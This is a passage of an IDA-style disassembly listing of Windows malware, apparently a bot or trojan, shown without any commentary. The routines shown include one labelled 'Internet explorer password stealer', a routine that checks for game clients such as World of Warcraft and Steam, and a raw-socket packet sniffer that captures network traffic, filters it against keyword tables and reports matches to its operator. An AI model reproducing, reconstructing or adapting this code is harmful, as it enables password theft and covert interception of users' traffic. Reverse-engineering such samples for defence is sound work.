jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D43C lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D43C lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 ; lstrcpyn push offset dword_41D434 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D42C lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D3E4 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D388 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D34C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE80, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: .data:00416FB6p ; .data:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D5CC lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6FC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D758 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7CC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D810 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41D9DC lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41D9A8 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; sub_415F69+BDj ... pop edi leave retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 